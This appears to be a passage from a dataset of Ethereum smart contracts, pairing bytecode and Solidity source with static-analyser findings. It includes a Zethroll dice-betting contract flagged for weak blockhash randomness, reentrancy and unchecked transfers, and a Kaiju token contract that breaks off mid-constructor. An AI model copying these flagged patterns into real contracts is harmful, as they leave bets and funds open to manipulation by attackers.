ff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4e4942000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220c16baed32dd244534d3ecac6c1c6115ada5d7bf7d0eb533ccb5b5ef485b28ea764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
5,656
0xa9887ca8db0aaee060acf1dac0f62c14274fa11e
pragma solidity ^0.4.23; /* * Zethroll. * * Adapted from PHXRoll, written in March 2018 by TechnicalRise: * https://www.reddit.com/user/TechnicalRise/ * * Adapted for Zethr by Norsefire and oguzhanox. * * Gas golfed by Etherguy * Audited & commented by Klob */ contract ZTHReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function getFrontEndTokenBalanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethroll is ZTHReceivingContract { using SafeMath for uint; // Makes sure that player profit can't exceed a maximum amount, // that the bet size is valid, and the playerNumber is in range. modifier betIsValid(uint _betSize, uint _playerNumber) { require( calculateProfit(_betSize, _playerNumber) < maxProfit && _betSize >= minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } // Requires game to be currently active modifier gameIsActive { require(gamePaused == false); _; } // Requires msg.sender to be owner modifier onlyOwner { require(msg.sender == owner); _; } // Constants uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint constant public maxNumber = 99; uint constant public minNumber = 2; uint constant public houseEdgeDivisor = 1000; // Configurables bool public gamePaused; address public owner; address public ZethrBankroll; address public ZTHTKNADDR; ZTHInterface public ZTHTKN; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; // Trackers uint public totalBets; uint public totalZTHWagered; // Events // Logs bets + output to web3 for precise 'payout on win' field in UI event LogBet(address sender, uint value, uint rollUnder); // Outputs to web3 UI on bet result // Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); // Logs owner transfers event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); // Logs changes in maximum profit event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); // Logs current contract balance event CurrentContractBalance(uint _tokens); constructor (address zthtknaddr, address zthbankrolladdr) public { // Owner is deployer owner = msg.sender; // Initialize the ZTH contract and bankroll interfaces ZTHTKN = ZTHInterface(zthtknaddr); ZTHTKNADDR = zthtknaddr; // Set the bankroll ZethrBankroll = zthbankrolladdr; // Init 990 = 99% (1% houseEdge) houseEdge = 990; // The maximum profit from each bet is 10% of the contract balance. ownerSetMaxProfitAsPercentOfHouse(10000); // Init min bet (1 ZTH) ownerSetMinBet(1e18); // Allow 'unlimited' token transfer by the bankroll ZTHTKN.approve(zthbankrolladdr, MAX_INT); } function() public payable {} // receive zethr dividends // Returns a random number using a specified block number // Always use a FUTURE block number. function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } // Random helper function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } // Calculate the maximum potential profit function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } // I present a struct which takes only 20k gas struct playerRoll{ uint200 tokenValue; // Token value in uint uint48 blockn; // Block number 48 bits uint8 rollUnder; // Roll under 8 bits } // Mapping because a player can do one roll at a time mapping(address => playerRoll) public playerRolls; function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200; require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48 // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens // Check that this is a ZTH token transfer require(_zthToken(msg.sender)); playerRoll memory roll = playerRolls[_tkn.sender]; // Cannot bet twice in one block require(block.number != roll.blockn); // If there exists a roll, finish it if (roll.blockn != 0) { _finishBet(false, _tkn.sender); } // Set struct block number, token value, and rollUnder values roll.blockn = uint48(block.number); roll.tokenValue = uint200(_tkn.value); roll.rollUnder = uint8(_rollUnder); // Store the roll struct - 20k gas. playerRolls[_tkn.sender] = roll; // Provides accurate numbers for web3 and allows for manual refunds emit LogBet(_tkn.sender, _tkn.value, _rollUnder); // Increment total number of bets totalBets += 1; // Total wagered totalZTHWagered += _tkn.value; } // Finished the current bet of a player, if they have one function finishBet() public gameIsActive returns (uint) { return _finishBet(true, msg.sender); } /* * Pay winner, update contract balance * to calculate new max bet, and send reward. */ function _finishBet(bool delete_it, address target) private returns (uint){ playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); // No re-entracy require(roll.blockn != block.number); // If the block is more than 255 blocks old, we can't get the result // Also, if the result has already happened, fail as well uint result; if (block.number - roll.blockn > 255) { result = 1000; // Cant win } else { // Grab the result - random based ONLY on a past block (future when submitted) result = random(99, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { // Player has won! // Safely map player profit uint profit = calculateProfit(roll.tokenValue, rollUnder); if (profit > maxProfit){ profit = maxProfit; } // Safely reduce contract balance by player profit contractBalance = contractBalance.sub(profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); // Update maximum profit setMaxProfit(); if (delete_it){ // Prevent re-entracy memes delete playerRolls[target]; } // Transfer profit plus original bet ZTHTKN.transfer(target, profit + roll.tokenValue); return result; } else { /* * Player has lost * Update contract balance to calculate new max bet */ emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); /* * Safely adjust contractBalance * SetMaxProfit */ contractBalance = contractBalance.add(roll.tokenValue); // No need to actually delete player roll here since player ALWAYS loses // Saves gas on next buy // Update maximum profit setMaxProfit(); return result; } } // TKN struct struct TKN {address sender; uint value;} // Token fallback to bet or deposit from bankroll function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { require(msg.sender == ZTHTKNADDR); if (_from == ZethrBankroll) { // Update the contract balance contractBalance = contractBalance.add(_value); // Update the maximum profit uint oldMaxProfit = maxProfit; setMaxProfit(); emit MaxProfitChanged(oldMaxProfit, maxProfit); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn); } return true; } /* * Sets max profit */ function setMaxProfit() internal { emit CurrentContractBalance(contractBalance); maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; } // Only owner adjust contract balance variable (only used for max profit calc) function ownerUpdateContractBalance(uint newContractBalance) public onlyOwner { contractBalance = newContractBalance; } // Only owner address can set maxProfitAsPercentOfHouse function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { // Restricts each bet to a maximum profit of 20% contractBalance require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } // Only owner address can set minBet function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } // Only owner address can transfer ZTH function ownerTransferZTH(address sendTo, uint amount) public onlyOwner { // Safely update contract balance when sending out funds contractBalance = contractBalance.sub(amount); // update max profit setMaxProfit(); require(ZTHTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } // Only owner address can set emergency pause #1 function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } // Only owner address can set bankroll address function ownerSetBankroll(address newBankroll) public onlyOwner { ZTHTKN.approve(ZethrBankroll, 0); ZethrBankroll = newBankroll; ZTHTKN.approve(newBankroll, MAX_INT); } // Only owner address can set owner address function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } // Only owner address can selfdestruct - emergency function ownerkill() public onlyOwner { ZTHTKN.transfer(owner, contractBalance); selfdestruct(owner); } function dumpdivs() public{ ZethrBankroll.transfer(address(this).balance); } function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; // Is this the ZTH token contract? } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101745763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf181146101765780630dda350f1461019d578063219df7ee146101b257806323214fab146101e35780633a4f6999146101f85780634025b5a81461020d57806343c1598d146102255780634f44728d1461023a57806355b930311461025b5780635e968a491461027057806361990759146102885780636cdf4c90146102ac5780636eacd48a146102c45780637c67ffe7146102de5780638701a2f0146102ff5780638b7afe2e146103145780638da5cb5b146103295780639619367d1461033e578063a948d72d14610353578063b539cd5514610368578063befa1e2f1461037d578063c0ee0b8a14610392578063c3de1ab91461040f578063ca9defb714610424578063ccd50d2814610448578063d263b7eb1461049b578063d667dcd7146104b0578063e5c774de146104c5578063f21502e5146104da575b005b34801561018257600080fd5b5061018b6104ef565b60408051918252519081900360200190f35b3480156101a957600080fd5b506101746104f5565b3480156101be57600080fd5b506101c7610532565b60408051600160a060020a039092168252519081900360200190f35b3480156101ef57600080fd5b5061018b610541565b34801561020457600080fd5b5061018b610547565b34801561021957600080fd5b5061017460043561054c565b34801561023157600080fd5b5061018b61056d565b34801561024657600080fd5b50610174600160a060020a0360043516610574565b34801561026757600080fd5b5061018b6105c5565b34801561027c57600080fd5b506101746004356105ca565b34801561029457600080fd5b5061018b600435600160a060020a0360243516610603565b3480156102b857600080fd5b506101746004356106a4565b3480156102d057600080fd5b5061017460043515156106c5565b3480156102ea57600080fd5b50610174600160a060020a03600435166106f4565b34801561030b57600080fd5b5061018b610871565b34801561032057600080fd5b5061018b610892565b34801561033557600080fd5b506101c7610898565b34801561034a57600080fd5b5061018b6108ac565b34801561035f57600080fd5b506101c76108b2565b34801561037457600080fd5b5061018b6108c1565b34801561038957600080fd5b5061018b6108c7565b34801561039e57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526103fb948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506108cd9650505050505050565b604080519115158252519081900360200190f35b34801561041b57600080fd5b506103fb6109c3565b34801561043057600080fd5b50610174600160a060020a03600435166024356109cc565b34801561045457600080fd5b50610469600160a060020a0360043516610ae6565b60408051600160c860020a03909416845265ffffffffffff909216602084015260ff1682820152519081900360600190f35b3480156104a757600080fd5b50610174610b1d565b3480156104bc57600080fd5b5061018b610bf7565b3480156104d157600080fd5b5061018b610bfd565b3480156104e657600080fd5b506101c7610c03565b600a5481565b600154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561052f573d6000803e3d6000fd5b50565b600354600160a060020a031681565b60075481565b606381565b6000546101009004600160a060020a0316331461056857600080fd5b600455565b620f424081565b6000546101009004600160a060020a0316331461059057600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6000546101009004600160a060020a031633146105e657600080fd5b62030d408111156105f657600080fd5b600781905561052f610c12565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106715780518252601f199092019160209182019101610652565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6000546101009004600160a060020a031633146106c057600080fd5b600855565b6000546101009004600160a060020a031633146106e157600080fd5b6000805460ff1916911515919091179055565b6000546101009004600160a060020a0316331461071057600080fd5b600354600154604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526000602482018190529151929093169263095ea7b39260448083019360209383900390910190829087803b15801561078457600080fd5b505af1158015610798573d6000803e3d6000fd5b505050506040513d60208110156107ae57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217909255600354604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600481019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b15801561084257600080fd5b505af1158015610856573d6000803e3d6000fd5b505050506040513d602081101561086c57600080fd5b505050565b6000805460ff161561088257600080fd5b61088d600133610c59565b905090565b60045481565b6000546101009004600160a060020a031681565b60085481565b600154600160a060020a031681565b60065481565b60095481565b6000806108d8611262565b600254600090600160a060020a031633146108f257600080fd5b600154600160a060020a03888116911614156109725760045461091b908763ffffffff610f5416565b600455600654925061092b610c12565b60065460408051858152602081019290925280517fc515cfc3ee14c6e587c5755cfe9e60d7779b40b2216c63bc3699111dcdd45a8d9281900390910190a1600193506109b9565b600160a060020a03871682526020820186905284518590600090811061099457fe5b016020015160f860020a9081900481020490506109b460ff821683610f6a565b600193505b5050509392505050565b60005460ff1681565b6000546101009004600160a060020a031633146109e857600080fd5b6004546109fb908263ffffffff6111cb16565b600455610a06610c12565b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a7557600080fd5b505af1158015610a89573d6000803e3d6000fd5b505050506040513d6020811015610a9f57600080fd5b50511515610aac57600080fd5b6040518190600160a060020a038416907f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9190600090a35050565b600b60205260009081526040902054600160c860020a0381169060c860020a810465ffffffffffff169060f860020a900460ff1683565b6000546101009004600160a060020a03163314610b3957600080fd5b6003546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152610100909404600160a060020a039081169385019390935260248401919091525193169263a9059cbb92604480840193602093929083900390910190829087803b158015610bb857600080fd5b505af1158015610bcc573d6000803e3d6000fd5b505050506040513d6020811015610be257600080fd5b50506000546101009004600160a060020a0316ff5b60055481565b6103e881565b600254600160a060020a031681565b60045460408051918252517fdff64b0d3aeb3f517dce05c4a4b3f84c29fe10fa9c3390c3e85122da92101dee9181900360200190a1600754600454620f4240910204600655565b6000610c63611279565b50600160a060020a0382166000908152600b6020908152604080832081516060810183529054600160c860020a03811680835260c860020a820465ffffffffffff169483019490945260f860020a900460ff16918101919091529190819081908110610cce57600080fd5b602084015165ffffffffffff16431415610ce757600080fd5b60ff846020015165ffffffffffff1643031115610d08576103e89250610d26565b610d206063856020015165ffffffffffff16886111dd565b60010192505b836040015160ff16915081831015610eb6578351610d4d90600160c860020a0316836111fc565b9050600654811115610d5e57506006545b600454610d71908263ffffffff6111cb16565b600455835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610de4610c12565b8615610e0457600160a060020a0386166000908152600b60205260408120555b6003548451604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038a81166004830152600160c860020a03909316850160248201529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610e8057600080fd5b505af1158015610e94573d6000803e3d6000fd5b505050506040513d6020811015610eaa57600080fd5b50929450849250610f4a565b835160408051600160a060020a03891681526020810186905280820185905260608101849052600160c860020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a18351600454610f3b91600160c860020a031663ffffffff610f5416565b600455610f46610c12565b8294505b5050505092915050565b600082820183811015610f6357fe5b9392505050565b610f72611279565b60005460ff1615610f8257600080fd5b816020015183600654610f9583836111fc565b108015610fa457506008548210155b8015610fb05750600281115b8015610fbc5750606381105b1515610fc757600080fd5b6020840151600160c860020a0311610fde57600080fd5b65ffffffffffff4310610ff057600080fd5b610ff93361124e565b151561100457600080fd5b8351600160a060020a03166000908152600b602090815260409182902082516060810184529054600160c860020a038116825260c860020a810465ffffffffffff1692820183905260f860020a900460ff169281019290925290935043141561106c57600080fd5b602083015165ffffffffffff161561108f5761108d60008560000151610c59565b505b65ffffffffffff43811660208086019182528681018051600160c860020a03908116885260ff808b166040808b019182528b51600160a060020a039081166000908152600b88528290208c5181549951945190951660f860020a027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff94909a1660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff9590961678ffffffffffffffffffffffffffffffffffffffffffffffffff19909916989098179390931693909317169590951790935587519051835191909416815290810192909252818101879052517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe9181900360600190a150506009805460010190555060200151600a8054909101905550565b6000828211156111d757fe5b50900390565b6000836111ea8484610603565b8115156111f357fe5b06949350505050565b6000826103e86005548561121a6001876111cb90919063ffffffff16565b61122b87600163ffffffff6111cb16565b606403880281151561123957fe5b04010281151561124557fe5b04039392505050565b600254600160a060020a0390811691161490565b604080518082019091526000808252602082015290565b6040805160608101825260008082526020820181905291810191909152905600a165627a7a72305820fde00c013c7ca2503d8cee2dd30b039f99660addd44b9e73dac25f0244ddc4720029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,657
0xB97da1cE4975665F7cb214e107a50Aca06f6c347
/** Telegram: t.me/Kaijuerc20 Total Tokens: 1 Billion Max Wallet: 3% soft cap Max transaction: 2% Buys: 9% Sells: 9% */ /** * The contracts crafted by Ultraman Contracts are not liable for the actions of the acting dev (client). * PLEASE MAKE SURE LIQUIDITY IS LOCKED BEFORE BUYING * The contract created below is safu as the following is true: * There is not a pause contract button. * You cannot disable sells. * If the dev chooses to renounce, there is no backdoor. * Sell taxes cannot be raised higher than a designated percent written into the contract and noted as such. * In this case, sells cannot exceed 10% * All info pertaining to the contract will be listed above the disclaimer message. * For further inquiry contact t.me/UltramanContracts */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Kaiju is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kaiju"; string private constant _symbol = "KAIJU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000 * 1e6 * 1e9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) public bots; //Buy Fee uint256 private _reflectionFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 8; //Sell Fee uint256 private _reflectionFeeOnSell = 1; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _reflectionFee = _reflectionFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousReflectionFee = _reflectionFee; uint256 private _previousTaxFee = _taxFee; //change these addresses or you will burn your dev tax address payable private _devAddress = payable(0xC612BECbB03Ed3A3732cD46d6d719b190b7bDAa6); address payable private _mktgAddress = payable(0x5cf6d7b943d789bb708D4259abC1307E4BB46032); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000 * 1e4 * 1e9; //max transaction set to 2% uint256 public _maxWalletSize = 3100 * 1e4 * 1e9; //max wallet set to 3.1% uint256 public _swapTokensAtAmount = 1000 * 1e3 * 1e9; //amount of tokens to swap for eth 0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) 